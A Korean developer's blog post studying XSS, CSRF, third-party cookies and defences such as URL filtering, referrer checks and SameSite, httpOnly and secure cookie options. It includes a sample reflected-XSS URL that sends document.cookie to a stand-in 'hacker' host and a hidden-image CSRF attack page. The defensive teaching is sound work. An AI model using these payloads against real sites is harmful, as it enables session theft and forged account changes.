토이 프로젝트에서 쿠키를 교환하는 일을 하던 도중, XSS 공격에 대한 염려로 쿠키와 보안관련한 내용들을 쭉 공부하다가 다시 정리를 해둘 필요가 생겼다고 생각하여 쓴다. 항상 안다고 생각했어도 다시 보면 까먹고 있는 나지만 이렇게 적다보면 언젠가 암기하는 날이.. 오겠지( 그 와중에 알게 된 referer은 덤이다. )
교차 사이트 스크립팅 공격은 악의적으로 웹 사이트의 스크립트적으로 취약한 부분을 찾아서 악성 코드를 삽입하는 공격을 말한다. 보통 서버에서 브라우저로 전송하게 되는 페이지에서 사용자가 입력하는 데이터를 검증하지 않거나, 그냥 출력 시 위험할 데이터를 무효화하지 않을 때 발생한다.
XSS는 공격하기도 쉬운만큼 종류가 상당히 많은 형태로 나뉘는데 대표적인 것만 살펴보자면
URL등 내용 자체에 스크립트를 삽입한 뒤, 사용자가 이를 클릭했을 시 브라우저가 그 스크립트를 실행시키는 방향으로 공격하는 방식
// 예를 들어,
http://service.com?search=<script>location.href('http://hacker/cookie.php?value='+document.cookie);</script>
위의 주소를 사용자에게 클릭하도록 유도한다.
반사형 XSS는 해당 URL 자체가 무언가를 하는 게 아니다. 심지어 호스트는 서버다. 그런데 쿼리문에 저렇게 이상한 스크립트를 넣어둔다.
그 후, 서버는 당연히 해당 쿼리에 대해서 결과가 없으면 없다는 응답을 보내게 될 것이다. 이때 브라우저에 적절한 대처가 없다면 응답으로 같이 딸려 오는 해당 스크립트가 실행되는 결과를 초래하고, 스크립트 내용을 보면 document.cookie를 이용하여 쿠키 내용을 가져오는 것을 진행한다.
솔직히말하자면, 위와 같은 공격은 쿠키의 옵션만 잘 설정해줘도 문제없이 막을 수 있으며 브라우저 자체에서도 실행을 막는 경우가 많아서 성공률이 낮다.
가장 일반적이면서도 공격성공률이 높은 케이스로, 공격자가 악의적인 스크립트가 담긴 내용을 게시물로 등록한 뒤, 이것을 다른 클라이언트가 클릭해서 보려고 들어가 서버로 해당 페이지를 요청하는 순간 발생하는 공격이다.
게시글은 보통 text내용을 작성하는 장소로 많이 사용되는데, 이 때에 해당 text 내용이
그렇다면 이런 공격에 대해서 방지하기 위해서는?
보통 React나 vue로 개발을 하고 있을 때에는 이런 개발 환경에서 XSS에 대한 적절한 대처들을 많이 담아두고 있다
(예를들어, React의 createElement시에 생성되는 객체의 $$typeof 프로퍼티와 같이 말이다.)
그러나, 외부 라이브러리, 특히나 게시판과 같은 라이브러리를 사용할 때에 위와 같은 내용들을 제대로 처리를 하지 않은 라이브러리를 사용할 경우 여러모로 문제가 될 경우가 많다.
이럴 때에 제일 중요한 것은 백엔드든 프론트엔드든간에 위험해보이는 문자열 값들은 대체 문자열로 전환하여 보내도록 만들어야 한다는 점이다.
즉 <, >, &, / 와 같은 문자열들은 다른 특수문자 코드로 전환하고 보내는 방법들과 같이 말이다)
물론 요새 최신 브라우저들은 잘 막아주긴 하지만 구형 브라우저를 쓰는 유저들도 생각하면 간과할 내용은 아니라고 본다.
또한, react에서 router을 쓰면 상관없이만 href가 아닌 일반 "anchor" 태그를 사용해서 개발했을 경우, 들어가게 될 href 값에 악의적인 스크립팅이 들어가있다면 보안에 취약해질 수 있으므로, 만약 해당 내용이 들어가는 태그가 존재하고 이것이 외부로부터 저장되어 온 무언가라면 의심을 해보면서 경계할 필요가 있다.
이 때에 해당 ref를 필터링하는 컴포넌트를 만들어보는 것도 나쁘지 않다
import React, { Component } from 'react'
import ReactDOM from 'react-dom'
const URL = require('url-parse')
class SafeURL extends Component {
isSafe(dangerousURL, text) {
const url = URL(dangerousURL, {})
if (url.protocol === 'http:') return true
if (url.protocol === 'https:') return true
return false
}
render() {
const dangerousURL = this.props.dangerousURL
const safeURL = this.isSafe(dangerousURL) ? dangerousURL : null
return <a href={safeURL}>{this.props.text}</a>
}
}
ReactDOM.render(
<SafeURL dangerousURL=" javascript: alert(1)" text="Click me!" />,
document.getElementById('root')
)
url-parse를 사용해서 url을 분해하면
위와 같이 객체를 제공하는데, 각 프로퍼티별로 분해해서 필요한 정보를 제공해준다.
따라서 "isSafe" 함수 내의 if문으로 통과시킬 대상과 통과시키지 않을 대상들을 적어서 조건부로 랜더링해주면 된다.
또한, 보통 대부분의 경우 탈취 대상은 쿠키이므로, 쿠키에 대해 옵션을 설정해서 공격자에게 해당 쿠키가 제공되지 않도록 설정하면 된다.
요약하자면
XSS는 브라우저에서 사용자가 입력하는 값을 서버가 검증하지 않거나, 서버에서부터 오는 데이터를 브라우저가 검증하지 않고 그대로 사용할 때 악의적인 코드를 방어하지 않아서 생기는 문제점을 이용한 공격이므로, 필터링을 통해 위험한 입력값을 항상 검증하는 절차가 필요하다.
쿠키란, 일반적으로 사용자에 대해서 기억하지 않는 이른바 "무상태성" 을 지닌 http의 한계를 극복하는 기술이다.
간단하게 "Set-Cookie" 헤더를 통해서 서버가 해시화된 쿠키를 설정해주고, 브라우저는 이것을 보유하고 있다가 서버에 요청을 날릴 때 전달하도록 하여 자신이 서버로부터 인증받은 대상이라는 것을 지속적으로 알리는 형태로 무상태성을 극복한다.
그런데, 이렇게 자동으로 보내버리는 경우 위에처럼 xss는 물론 CSRF 공격에도 노출되기 쉽다. 따라서 이것을 항상 방어해야 한다.
"Cross-Site Request Forgery" 라고도 불리우며 의도치 않게 사용자가 서버를 공격하게 만들도록 설정하는 공격방식을 뜻한다. 이것이 가능한 이유는 브라우저가 서버에게 자동으로 쿠키를 전송할 수 있다는 점 때문에 그렇다.
CSRF 공격이 가능해지려면, 아래와 같은 조건이 필요하다
예를 들어, 서버에 써드파티 쿠키가 자유롭게 전송이 되는 상태라고 한다면, 공격자는 단순하게 악성 페이지에 접근하는 것만으로 요청을 날리도록 하게 하여 사용자의 브라우저를 통해 공격을 가할 수 있다.
일반적으로 크롬을 제외한 브라우저들은 http 요청을 날릴 때 쿠키를 함께 날려버리므로, 이것을 이용하여 서버에 의도치않은 변경을 실행시킬 수 있다.
// 이 도큐먼트는 https://test.com으로부터 오는 도큐먼트이다.
<html>
<head>
<title>seob.dev</title>
<meta property="og:url" content="https://test.com/" />
</head>
<body>
<!-- 아래 링크를 클릭한 경우에 전송되는 쿠키들은 서드 파티 쿠키로 취급된다. -->
<a href="https://example.com/">링크</a>
</body>
</html>
써드파티 쿠키란, 쉽게 말하자면 현재 접속해있는 URL과 다른 URL에 대해 전송되는 쿠키를 뜻한다.
반대로 퍼스트 파티 쿠키는 해당 도메인과 동일한 URL을 가진 사이트에 전송되는 쿠키를 뜻한다.
즉, 같은 쿠키여도 이것이 동일한 URL 주소의 서버에 보내진다면 퍼스트 파티 쿠키가 되지만 다른 URL에 전송된다면 써드 파티 쿠키가 된다.
이런 써드 파티 쿠키가 존재하는 이유는 생각보다 간단한데, 광고로 사용하기 좋기 때문이다.
예를 들어, 특정 어플리케이션의 사이드바에 광고 이미지가 존재하고, 이것을 클릭하면 해당 사이트로 들어간다고 가정했을 때
브라우저가 해당 사이드바 광고 서버에 대한 쿠키를 보유하고 있었던 상태라면 이 쿠키를 붙여서 자동으로 전송한다.
광고 회사는 이 쿠키의 존재 유무를 보고 이미 한번 방문한 적이 있는 유저인지를 체크하고 이 쿠키를 분해하여 필요한 데이터를 추출한 뒤 추천 상품 리스트를 광고로 띄우는 등의 로직을 만들 수 있다.
문제는 이 써드 파티 쿠키에 대해서, 다시 말해 다른 사이트로 전송이 가능한 쿠키로 남겨뒀을 경우 CSRF 공격에 노출되기 쉽다는 점이다.
예를 들어,
<html>
<head>
<meta charset="UTF-8">
<title>Attacker Site</title>
</head>
<body>
<div id="wrap">
<h1>악성 페이지 - 숨겨진 이미지 태그</h1>
<img src="http://localhost:8081/change?name=maliciousNamehahaha" style="width: 0px; height: 0px;"/>
</div>
</body>
</html>
공격자가 이런 악의적인 내용을 담은 피싱사이트를 만들어놓고 게시판과 같은 장소에 올려놓아 사용자들이 눌러보도록 유도한다.
아무 생각없이 해당 링크를 눌러 접속했을 경우, 이 사이트 내부에 있는 img 의 src에 대해서 요청을 날리게 되고, 이 요청은 해당 서버에게 name 쿼리를 통해 "maliciousNamehahaha"라고 이름을 바꾸라는 요청을 날리게 된다.
그럴 때 이 쿠키에 아무런 조치가 되어있지 않다면 브라우저는 이 주소에 대해 쿠키가 존재할 경우 쿠키를 그대로 같이 전송해 날려버리고,
서버 입장에선 "쿠키가 있네? 인증해보니 맞네? 알았어 바꿔줄게" 하면서 사용자 정보를 바꿔버리는 불상사를 겪게 되는 것이다.
이런 CSRF 공격을 막기 위해서 사용할 수 있는 방법은 크게 3가지이다.
일반적으로 document.referrer을 사용하면, 브라우저에서 해당 탭에 문서가 뜰 때에 이 문서가 뜨기 전에 기존 어느 페이지에서부터 왔는지를 확인할 수 있다.
필자는 넷플릭스를 보지지는 않지만, 대표적인 예시지 않을까 하여 써보았다.
구글에서 넷플릭스라고 검색한 후, 이렇게 링크를 눌러서 새 탭으로 접근했을 시, 새 탭에 존재하는 document 내부에는 기존에 어떤 탭에서부터 전달되어 왔는지를 이렇게 referrer을 통해 기록해두고 있다. 참고로, 만약 img와 같이 소스를 통해서 요청하는 경우라면 이 요청을 보내는 태그를 포함하고 있는 문서의 url이 referrer이 된다.
즉, 다시 CSRF 공격 내용으로 돌아가서,
만약 사용자가 악의적인 사이트에 들어갔다 하더라도 데이터 요청이 전달이 되는 상태에서 referer을 확인해보면 서버 입장에서는 이게 전혀 이상한 사이트로부터 요청이 들어온 것임을 확인할 수 있기 때문에(즉, 타 주소에서 전송된 것을 알 수 있기 때문에) 이 주소를 확인해서 허용 여부를 결정해 줄 수 있다.
sameSite의 경우, 요청을 보내게 될 때 그 베이스가 되는 문서의 url (즉, 페이지에 접속했을 때 상단에 보이는 URL) 의 호스트와 지금 보내려고 하는 쿠키의 주소가 동일하지 않다면 전송을 막는 옵션을 설정해줄 수 있다.
cookies.setCookie = (res, token) => {
res.cookie("access_token", token, {
sameSite:'none',
secure: true,
maxAge: 1000*60*60*24*1,
httpOnly: true });
}
쿠키에 존재하는 sameSite 옵션은 크게 3가지 방향으로 나뉘는데,
이때 Lax의 일부 케이스는
위에서 언급한것처럼 당연히 same origin일때, 그리고 top level navigation with safe http method(즉 a 태그를 이용한 이동이면서도 delete나 post처럼 서버를 침습적으로 변경시킬 메서드가 아닌 get과 같은 메서드일 경우만) 써드파티로서 쿠키가 전송된다고 하고 있다.
다만,
위에서 보는 것처럼 언젠가 써드 파티 쿠키는 전부 사라지고 strict 쿠키로만 운영되도록 만들것이라는 크롬의 장기적인 모습을 봐서는, 써드 파티쿠키는 더이상 생각하지 않고 개발하는 편이 좋을것으로 보인다. (즉, 오로지 쿠키는 strict하게 해당 서버의 URL로 오는 요청이 아니면 쿠키가 전송되지 않도록 생각하고 개발하는 것이 좋다는 의미이다.)
쿠키 사용에 있어서 httpOnly를 통해 javascript로 쿠키에 접근할 수 없도록 원천차단하는 것은 항상 필요하다. (XSS 공격 대부분이 쿠키 접근을 자바스크립트로 하는 악성코드를 삽입해서 탈취하는 방식을 취하기 때문)
그리고 secure을 true로 설정해서 https 통신일 때만 쿠키가 전송하도록 하게 만드는 것 역시 필요하다. 안전한 요청에만 쿠키가 전송될 수 있도록 하여 원천적인 악성 사이트로 이동함으로 인해 쿠키가 탈취당하는 것을 막는 것이다.